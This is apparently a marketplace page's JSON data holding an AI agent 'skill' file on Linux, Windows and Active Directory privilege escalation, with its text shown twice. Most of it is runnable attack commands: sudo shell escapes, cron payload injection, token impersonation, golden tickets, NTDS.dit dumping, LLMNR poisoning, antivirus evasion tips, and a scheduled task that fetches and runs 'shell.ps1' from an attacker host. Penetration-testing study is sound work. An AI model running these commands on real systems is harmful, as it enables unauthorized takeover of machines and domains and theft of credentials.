[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EZHN6FDN656WSSPF47Q8V3":3,"skill-same:01M6EZHN6FDN656WSSPF47Q8V3":81},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":57,"ownerHtmlUrl":58,"ownerBlogUrl":6,"ownerDescription":59,"updatedAt":60,"install":61,"resources":74},"01M6EZHN6FDN656WSSPF47Q8V3","privilege-escalation-methods",null,"This skill should be used when the user asks to \"escalate privileges\", \"get root access\", \"become administrator\", \"privesc techniques\", \"abuse sudo\", \"exploit SUID binaries\", \"Kerberoasting\", \"pass-the-ticket\", \"token impersonation\", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.","ComeOnOliver\u002Fskillshub","ComeOnOliver","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F43215937?v=4","01M6E5JNFECJAAVFE0W7SMWWD2","Haoran Shu","01M6E5JNNDQS7AJZDYFQ8TPZCK",67,"MIT","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Faiskillstore\u002Fmarketplace\u002Fsickn33\u002Fprivilege-escalation-methods\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"escalation","Privilege Escalation Methods","methods","user","escalate","post","ticket","systems","token","get","guidance","exploit","linux","access","impersonation","kerberoasting","pass-the-ticket","exploitation","post-exploitation","windows","2026-11-10 10:12:30",false,"---\nname: privilege-escalation-methods\ndescription: This skill should be used when the user asks to \"escalate privileges\", \"get root access\", \"become administrator\", \"privesc techniques\", \"abuse sudo\", \"exploit SUID binaries\", \"Kerberoasting\", \"pass-the-ticket\", \"token impersonation\", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Privilege Escalation Methods\n\n## Purpose\n\nProvide comprehensive techniques for escalating privileges from a low-privileged user to root\u002Fadministrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.\n\n## Inputs\u002FPrerequisites\n\n- Initial low-privilege shell access on target system\n- Kali Linux or penetration testing distribution\n- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus\n- Understanding of Windows\u002FLinux privilege models\n- For AD attacks: Domain user credentials and network access to DC\n\n## Outputs\u002FDeliverables\n\n- Root or Administrator shell access\n- Extracted credentials and hashes\n- Persistent access mechanisms\n- Domain compromise (for AD environments)\n\n---\n\n## Core Techniques\n\n### Linux Privilege Escalation\n\n#### 1. Abusing Sudo Binaries\n\nExploit misconfigured sudo permissions using GTFOBins techniques:\n\n```bash\n# Check sudo permissions\nsudo -l\n\n# Exploit common binaries\nsudo vim -c ':!\u002Fbin\u002Fbash'\nsudo find \u002Fetc\u002Fpasswd -exec \u002Fbin\u002Fbash \\;\nsudo awk 'BEGIN {system(\"\u002Fbin\u002Fbash\")}'\nsudo python -c 'import pty;pty.spawn(\"\u002Fbin\u002Fbash\")'\nsudo perl -e 'exec \"\u002Fbin\u002Fbash\";'\nsudo less \u002Fetc\u002Fhosts    # then type: !bash\nsudo man man            # then type: !bash\nsudo env \u002Fbin\u002Fbash\n```\n\n#### 2. Abusing Scheduled Tasks (Cron)\n\n```bash\n# Find writable cron scripts\nls -la \u002Fetc\u002Fcron*\ncat \u002Fetc\u002Fcrontab\n\n# Inject payload into writable script\necho 'chmod +s \u002Fbin\u002Fbash' > \u002Fhome\u002Fuser\u002Fsystemupdate.sh\nchmod +x \u002Fhome\u002Fuser\u002Fsystemupdate.sh\n\n# Wait for execution, then:\n\u002Fbin\u002Fbash -p\n```\n\n#### 3. Abusing Capabilities\n\n```bash\n# Find binaries with capabilities\ngetcap -r \u002F 2>\u002Fdev\u002Fnull\n\n# Python with cap_setuid\n\u002Fusr\u002Fbin\u002Fpython2.6 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# Perl with cap_setuid\n\u002Fusr\u002Fbin\u002Fperl -e 'use POSIX (setuid); POSIX::setuid(0); exec \"\u002Fbin\u002Fbash\";'\n\n# Tar with cap_dac_read_search (read any file)\n\u002Fusr\u002Fbin\u002Ftar -cvf key.tar \u002Froot\u002F.ssh\u002Fid_rsa\n\u002Fusr\u002Fbin\u002Ftar -xvf key.tar\n```\n\n#### 4. NFS Root Squashing\n\n```bash\n# Check for NFS shares\nshowmount -e \u003Cvictim_ip>\n\n# Mount and exploit no_root_squash\nmkdir \u002Ftmp\u002Fmount\nmount -o rw,vers=2 \u003Cvictim_ip>:\u002Ftmp \u002Ftmp\u002Fmount\ncd \u002Ftmp\u002Fmount\ncp \u002Fbin\u002Fbash .\nchmod +s bash\n```\n\n#### 5. MySQL Running as Root\n\n```bash\n# If MySQL runs as root\nmysql -u root -p\n\\! chmod +s \u002Fbin\u002Fbash\nexit\n\u002Fbin\u002Fbash -p\n```\n\n---\n\n### Windows Privilege Escalation\n\n#### 1. Token Impersonation\n\n```powershell\n# Using SweetPotato (SeImpersonatePrivilege)\nexecute-assembly sweetpotato.exe -p beacon.exe\n\n# Using SharpImpersonation\nSharpImpersonation.exe user:\u003Cuser> technique:ImpersonateLoggedOnuser\n```\n\n#### 2. Service Abuse\n\n```powershell\n# Using PowerUp\n. .\\PowerUp.ps1\nInvoke-ServiceAbuse -Name 'vds' -UserName 'domain\\user1'\nInvoke-ServiceAbuse -Name 'browser' -UserName 'domain\\user1'\n```\n\n#### 3. Abusing SeBackupPrivilege\n\n```powershell\nimport-module .\\SeBackupPrivilegeUtils.dll\nimport-module .\\SeBackupPrivilegeCmdLets.dll\nCopy-FileSebackupPrivilege z:\\Windows\\NTDS\\ntds.dit C:\\temp\\ntds.dit\n```\n\n#### 4. Abusing SeLoadDriverPrivilege\n\n```powershell\n# Load vulnerable Capcom driver\n.\\eoploaddriver.exe System\\CurrentControlSet\\MyService C:\\test\\capcom.sys\n.\\ExploitCapcom.exe\n```\n\n#### 5. Abusing GPO\n\n```powershell\n.\\SharpGPOAbuse.exe --AddComputerTask --Taskname \"Update\" `\n  --Author DOMAIN\\\u003CUSER> --Command \"cmd.exe\" `\n  --Arguments \"\u002Fc net user Administrator Password!@# \u002Fdomain\" `\n  --GPOName \"ADDITIONAL DC CONFIGURATION\"\n```\n\n---\n\n### Active Directory Attacks\n\n#### 1. Kerberoasting\n\n```bash\n# Using Impacket\nGetUserSPNs.py domain.local\u002Fuser:password -dc-ip 10.10.10.100 -request\n\n# Using CrackMapExec\ncrackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt\n```\n\n#### 2. AS-REP Roasting\n\n```powershell\n.\\Rubeus.exe asreproast\n```\n\n#### 3. Golden Ticket\n\n```powershell\n# DCSync to get krbtgt hash\nmimikatz# lsadump::dcsync \u002Fuser:krbtgt\n\n# Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local `\n  \u002Fsid:S-1-5-21-... \u002Frc4:\u003CNTLM_HASH> \u002Fid:500\n```\n\n#### 4. Pass-the-Ticket\n\n```powershell\n.\\Rubeus.exe asktgt \u002Fuser:USER$ \u002Frc4:\u003CNTLM_HASH> \u002Fptt\nklist  # Verify ticket\n```\n\n#### 5. Golden Ticket with Scheduled Tasks\n\n```powershell\n# 1. Elevate and dump credentials\nmimikatz# token::elevate\nmimikatz# vault::cred \u002Fpatch\nmimikatz# lsadump::lsa \u002Fpatch\n\n# 2. Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Frc4:\u003CHASH> `\n  \u002Fdomain:DOMAIN \u002Fsid:\u003CSID> \u002Fticket:ticket.kirbi\n\n# 3. Create scheduled task\nschtasks \u002Fcreate \u002FS DOMAIN \u002FSC Weekly \u002FRU \"NT Authority\\SYSTEM\" `\n  \u002FTN \"enterprise\" \u002FTR \"powershell.exe -c 'iex (iwr http:\u002F\u002Fattacker\u002Fshell.ps1)'\"\nschtasks \u002Frun \u002Fs DOMAIN \u002FTN \"enterprise\"\n```\n\n---\n\n### Credential Harvesting\n\n#### LLMNR Poisoning\n\n```bash\n# Start Responder\nresponder -I eth1 -v\n\n# Create malicious shortcut (Book.url)\n[InternetShortcut]\nURL=https:\u002F\u002Ffacebook.com\nIconIndex=0\nIconFile=\\\\attacker_ip\\not_found.ico\n```\n\n#### NTLM Relay\n\n```bash\nresponder -I eth1 -v\nntlmrelayx.py -tf targets.txt -smb2support\n```\n\n#### Dumping with VSS\n\n```powershell\nvssadmin create shadow \u002Ffor=C:\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit C:\\temp\\\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\temp\\\n```\n\n---\n\n## Quick Reference\n\n| Technique | OS | Domain Required | Tool |\n|-----------|-----|-----------------|------|\n| Sudo Binary Abuse | Linux | No | GTFOBins |\n| Cron Job Exploit | Linux | No | Manual |\n| Capability Abuse | Linux | No | getcap |\n| NFS no_root_squash | Linux | No | mount |\n| Token Impersonation | Windows | No | SweetPotato |\n| Service Abuse | Windows | No | PowerUp |\n| Kerberoasting | Windows | Yes | Rubeus\u002FImpacket |\n| AS-REP Roasting | Windows | Yes | Rubeus |\n| Golden Ticket | Windows | Yes | Mimikatz |\n| Pass-the-Ticket | Windows | Yes | Rubeus |\n| DCSync | Windows | Yes | Mimikatz |\n| LLMNR Poisoning | Windows | Yes | Responder |\n\n---\n\n## Constraints\n\n**Must:**\n- Have initial shell access before attempting escalation\n- Verify target OS and environment before selecting technique\n- Use appropriate tool for domain vs local escalation\n\n**Must Not:**\n- Attempt techniques on production systems without authorization\n- Leave persistence mechanisms without client approval\n- Ignore detection mechanisms (EDR, SIEM)\n\n**Should:**\n- Enumerate thoroughly before exploitation\n- Document all successful escalation paths\n- Clean up artifacts after engagement\n\n---\n\n## Examples\n\n### Example 1: Linux Sudo to Root\n\n```bash\n# Check sudo permissions\n$ sudo -l\nUser www-data may run the following commands:\n    (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim\n\n# Exploit vim\n$ sudo vim -c ':!\u002Fbin\u002Fbash'\nroot@target:~# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Example 2: Windows Kerberoasting\n\n```bash\n# Request service tickets\n$ GetUserSPNs.py domain.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 -request\n\n# Crack with hashcat\n$ hashcat -m 13100 hashes.txt rockyou.txt\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |\n| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |\n| Kerberoasting returns no hashes | Check for service accounts with SPNs |\n| Token impersonation fails | Verify SeImpersonatePrivilege is present |\n| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |\n\n---\n\n## Additional Resources\n\nFor detailed enumeration scripts, use:\n- **LinPEAS**: Linux privilege escalation enumeration\n- **WinPEAS**: Windows privilege escalation enumeration\n- **BloodHound**: Active Directory attack path mapping\n- **GTFOBins**: Unix binary exploitation reference\n","# Privilege Escalation Methods\n\n## Purpose\n\nProvide comprehensive techniques for escalating privileges from a low-privileged user to root\u002Fadministrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.\n\n## Inputs\u002FPrerequisites\n\n- Initial low-privilege shell access on target system\n- Kali Linux or penetration testing distribution\n- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus\n- Understanding of Windows\u002FLinux privilege models\n- For AD attacks: Domain user credentials and network access to DC\n\n## Outputs\u002FDeliverables\n\n- Root or Administrator shell access\n- Extracted credentials and hashes\n- Persistent access mechanisms\n- Domain compromise (for AD environments)\n\n---\n\n## Core Techniques\n\n### Linux Privilege Escalation\n\n#### 1. Abusing Sudo Binaries\n\nExploit misconfigured sudo permissions using GTFOBins techniques:\n\n```bash\n# Check sudo permissions\nsudo -l\n\n# Exploit common binaries\nsudo vim -c ':!\u002Fbin\u002Fbash'\nsudo find \u002Fetc\u002Fpasswd -exec \u002Fbin\u002Fbash \\;\nsudo awk 'BEGIN {system(\"\u002Fbin\u002Fbash\")}'\nsudo python -c 'import pty;pty.spawn(\"\u002Fbin\u002Fbash\")'\nsudo perl -e 'exec \"\u002Fbin\u002Fbash\";'\nsudo less \u002Fetc\u002Fhosts    # then type: !bash\nsudo man man            # then type: !bash\nsudo env \u002Fbin\u002Fbash\n```\n\n#### 2. Abusing Scheduled Tasks (Cron)\n\n```bash\n# Find writable cron scripts\nls -la \u002Fetc\u002Fcron*\ncat \u002Fetc\u002Fcrontab\n\n# Inject payload into writable script\necho 'chmod +s \u002Fbin\u002Fbash' > \u002Fhome\u002Fuser\u002Fsystemupdate.sh\nchmod +x \u002Fhome\u002Fuser\u002Fsystemupdate.sh\n\n# Wait for execution, then:\n\u002Fbin\u002Fbash -p\n```\n\n#### 3. Abusing Capabilities\n\n```bash\n# Find binaries with capabilities\ngetcap -r \u002F 2>\u002Fdev\u002Fnull\n\n# Python with cap_setuid\n\u002Fusr\u002Fbin\u002Fpython2.6 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# Perl with cap_setuid\n\u002Fusr\u002Fbin\u002Fperl -e 'use POSIX (setuid); POSIX::setuid(0); exec \"\u002Fbin\u002Fbash\";'\n\n# Tar with cap_dac_read_search (read any file)\n\u002Fusr\u002Fbin\u002Ftar -cvf key.tar \u002Froot\u002F.ssh\u002Fid_rsa\n\u002Fusr\u002Fbin\u002Ftar -xvf key.tar\n```\n\n#### 4. NFS Root Squashing\n\n```bash\n# Check for NFS shares\nshowmount -e \u003Cvictim_ip>\n\n# Mount and exploit no_root_squash\nmkdir \u002Ftmp\u002Fmount\nmount -o rw,vers=2 \u003Cvictim_ip>:\u002Ftmp \u002Ftmp\u002Fmount\ncd \u002Ftmp\u002Fmount\ncp \u002Fbin\u002Fbash .\nchmod +s bash\n```\n\n#### 5. MySQL Running as Root\n\n```bash\n# If MySQL runs as root\nmysql -u root -p\n\\! chmod +s \u002Fbin\u002Fbash\nexit\n\u002Fbin\u002Fbash -p\n```\n\n---\n\n### Windows Privilege Escalation\n\n#### 1. Token Impersonation\n\n```powershell\n# Using SweetPotato (SeImpersonatePrivilege)\nexecute-assembly sweetpotato.exe -p beacon.exe\n\n# Using SharpImpersonation\nSharpImpersonation.exe user:\u003Cuser> technique:ImpersonateLoggedOnuser\n```\n\n#### 2. Service Abuse\n\n```powershell\n# Using PowerUp\n. .\\PowerUp.ps1\nInvoke-ServiceAbuse -Name 'vds' -UserName 'domain\\user1'\nInvoke-ServiceAbuse -Name 'browser' -UserName 'domain\\user1'\n```\n\n#### 3. Abusing SeBackupPrivilege\n\n```powershell\nimport-module .\\SeBackupPrivilegeUtils.dll\nimport-module .\\SeBackupPrivilegeCmdLets.dll\nCopy-FileSebackupPrivilege z:\\Windows\\NTDS\\ntds.dit C:\\temp\\ntds.dit\n```\n\n#### 4. Abusing SeLoadDriverPrivilege\n\n```powershell\n# Load vulnerable Capcom driver\n.\\eoploaddriver.exe System\\CurrentControlSet\\MyService C:\\test\\capcom.sys\n.\\ExploitCapcom.exe\n```\n\n#### 5. Abusing GPO\n\n```powershell\n.\\SharpGPOAbuse.exe --AddComputerTask --Taskname \"Update\" `\n  --Author DOMAIN\\\u003CUSER> --Command \"cmd.exe\" `\n  --Arguments \"\u002Fc net user Administrator Password!@# \u002Fdomain\" `\n  --GPOName \"ADDITIONAL DC CONFIGURATION\"\n```\n\n---\n\n### Active Directory Attacks\n\n#### 1. Kerberoasting\n\n```bash\n# Using Impacket\nGetUserSPNs.py domain.local\u002Fuser:password -dc-ip 10.10.10.100 -request\n\n# Using CrackMapExec\ncrackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt\n```\n\n#### 2. AS-REP Roasting\n\n```powershell\n.\\Rubeus.exe asreproast\n```\n\n#### 3. Golden Ticket\n\n```powershell\n# DCSync to get krbtgt hash\nmimikatz# lsadump::dcsync \u002Fuser:krbtgt\n\n# Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Fdomain:domain.local `\n  \u002Fsid:S-1-5-21-... \u002Frc4:\u003CNTLM_HASH> \u002Fid:500\n```\n\n#### 4. Pass-the-Ticket\n\n```powershell\n.\\Rubeus.exe asktgt \u002Fuser:USER$ \u002Frc4:\u003CNTLM_HASH> \u002Fptt\nklist  # Verify ticket\n```\n\n#### 5. Golden Ticket with Scheduled Tasks\n\n```powershell\n# 1. Elevate and dump credentials\nmimikatz# token::elevate\nmimikatz# vault::cred \u002Fpatch\nmimikatz# lsadump::lsa \u002Fpatch\n\n# 2. Create golden ticket\nmimikatz# kerberos::golden \u002Fuser:Administrator \u002Frc4:\u003CHASH> `\n  \u002Fdomain:DOMAIN \u002Fsid:\u003CSID> \u002Fticket:ticket.kirbi\n\n# 3. Create scheduled task\nschtasks \u002Fcreate \u002FS DOMAIN \u002FSC Weekly \u002FRU \"NT Authority\\SYSTEM\" `\n  \u002FTN \"enterprise\" \u002FTR \"powershell.exe -c 'iex (iwr http:\u002F\u002Fattacker\u002Fshell.ps1)'\"\nschtasks \u002Frun \u002Fs DOMAIN \u002FTN \"enterprise\"\n```\n\n---\n\n### Credential Harvesting\n\n#### LLMNR Poisoning\n\n```bash\n# Start Responder\nresponder -I eth1 -v\n\n# Create malicious shortcut (Book.url)\n[InternetShortcut]\nURL=https:\u002F\u002Ffacebook.com\nIconIndex=0\nIconFile=\\\\attacker_ip\\not_found.ico\n```\n\n#### NTLM Relay\n\n```bash\nresponder -I eth1 -v\nntlmrelayx.py -tf targets.txt -smb2support\n```\n\n#### Dumping with VSS\n\n```powershell\nvssadmin create shadow \u002Ffor=C:\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit C:\\temp\\\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\temp\\\n```\n\n---\n\n## Quick Reference\n\n| Technique | OS | Domain Required | Tool |\n|-----------|-----|-----------------|------|\n| Sudo Binary Abuse | Linux | No | GTFOBins |\n| Cron Job Exploit | Linux | No | Manual |\n| Capability Abuse | Linux | No | getcap |\n| NFS no_root_squash | Linux | No | mount |\n| Token Impersonation | Windows | No | SweetPotato |\n| Service Abuse | Windows | No | PowerUp |\n| Kerberoasting | Windows | Yes | Rubeus\u002FImpacket |\n| AS-REP Roasting | Windows | Yes | Rubeus |\n| Golden Ticket | Windows | Yes | Mimikatz |\n| Pass-the-Ticket | Windows | Yes | Rubeus |\n| DCSync | Windows | Yes | Mimikatz |\n| LLMNR Poisoning | Windows | Yes | Responder |\n\n---\n\n## Constraints\n\n**Must:**\n- Have initial shell access before attempting escalation\n- Verify target OS and environment before selecting technique\n- Use appropriate tool for domain vs local escalation\n\n**Must Not:**\n- Attempt techniques on production systems without authorization\n- Leave persistence mechanisms without client approval\n- Ignore detection mechanisms (EDR, SIEM)\n\n**Should:**\n- Enumerate thoroughly before exploitation\n- Document all successful escalation paths\n- Clean up artifacts after engagement\n\n---\n\n## Examples\n\n### Example 1: Linux Sudo to Root\n\n```bash\n# Check sudo permissions\n$ sudo -l\nUser www-data may run the following commands:\n    (root) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim\n\n# Exploit vim\n$ sudo vim -c ':!\u002Fbin\u002Fbash'\nroot@target:~# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Example 2: Windows Kerberoasting\n\n```bash\n# Request service tickets\n$ GetUserSPNs.py domain.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 -request\n\n# Crack with hashcat\n$ hashcat -m 13100 hashes.txt rockyou.txt\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |\n| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |\n| Kerberoasting returns no hashes | Check for service accounts with SPNs |\n| Token impersonation fails | Verify SeImpersonatePrivilege is present |\n| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |\n\n---\n\n## Additional Resources\n\nFor detailed enumeration scripts, use:\n- **LinPEAS**: Linux privilege escalation enumeration\n- **WinPEAS**: Windows privilege escalation enumeration\n- **BloodHound**: Active Directory attack path mapping\n- **GTFOBins**: Unix binary exploitation reference\n",{"name":5,"metadata":49,"description":7},{"author":50,"version":51},"zebbern","1.1","main","def8531e65114c0fca8fb8551c1871ee0eed705c","skills\u002Faiskillstore\u002Fmarketplace\u002Fsickn33\u002Fprivilege-escalation-methods",24,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub","https:\u002F\u002Fskillshub.wtf","https:\u002F\u002Fgithub.com\u002FComeOnOliver","AI & Blockchain Engineer\r\n","2026-06-24 22:07:19",{"source":8,"skillName":5,"commands":62,"prompt":72,"zipAvailable":73},[63,66,69],{"tool":64,"command":65},"npx","npx skills add ComeOnOliver\u002Fskillshub --skill privilege-escalation-methods",{"tool":67,"command":68},"bunx","bunx skills add ComeOnOliver\u002Fskillshub --skill privilege-escalation-methods",{"tool":70,"command":71},"pnpm","pnpm dlx skills add ComeOnOliver\u002Fskillshub --skill privilege-escalation-methods","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Faiskillstore\u002Fmarketplace\u002Fsickn33\u002Fprivilege-escalation-methods\u002FSKILL.md",true,[75],{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"skill-report.json","REFERENCE","参考文档",17335,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Faiskillstore\u002Fmarketplace\u002Fsickn33\u002Fprivilege-escalation-methods\u002Fskill-report.json",[82,92,102,111,116,123],{"skillNo":83,"name":84,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":88,"publishedAt":44},"01M6FKJN13GMG4KY57J3QD8GY5","model-hierarchy-skill","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzscole\u002Fmodel-hierarchy-skill\u002Fmodel-hierarchy-skill\u002FSKILL.md",[87],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[89,90,91],"model","model hierarchy","model hierarchy skill",{"skillNo":93,"name":94,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":98,"publishedAt":44},"01M6FKJJJ6GCAMR4PPPRD12M5X","zoom-mcp","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-mcp\u002FSKILL.md",[97],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[99,100,101],"MCP","zoom","zoom mcp",{"skillNo":103,"name":104,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":107,"publishedAt":44},"01M6FKJE3KYT3KPEZMEEHYKA6K","zoom-apps-sdk","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-apps-sdk\u002FSKILL.md",[],[108,109,110,100],"sdk","zoom apps sdk","apps",{"skillNo":112,"name":43,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":44},"01M6FKJ9EDH9Q5VWDF8HAJRSP0","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwindows\u002FSKILL.md",[],[43],{"skillNo":117,"name":118,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":122,"publishedAt":44},"01M6FKJ666BEEFC3AE9GJ72Q93","whiteboard","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwhiteboard\u002FSKILL.md",[121],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[118],{"skillNo":124,"name":125,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":44},"01M6FKJ21WFCDGTJQ2Q91T9DVW","websockets","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwebsockets\u002FSKILL.md",[],[125]]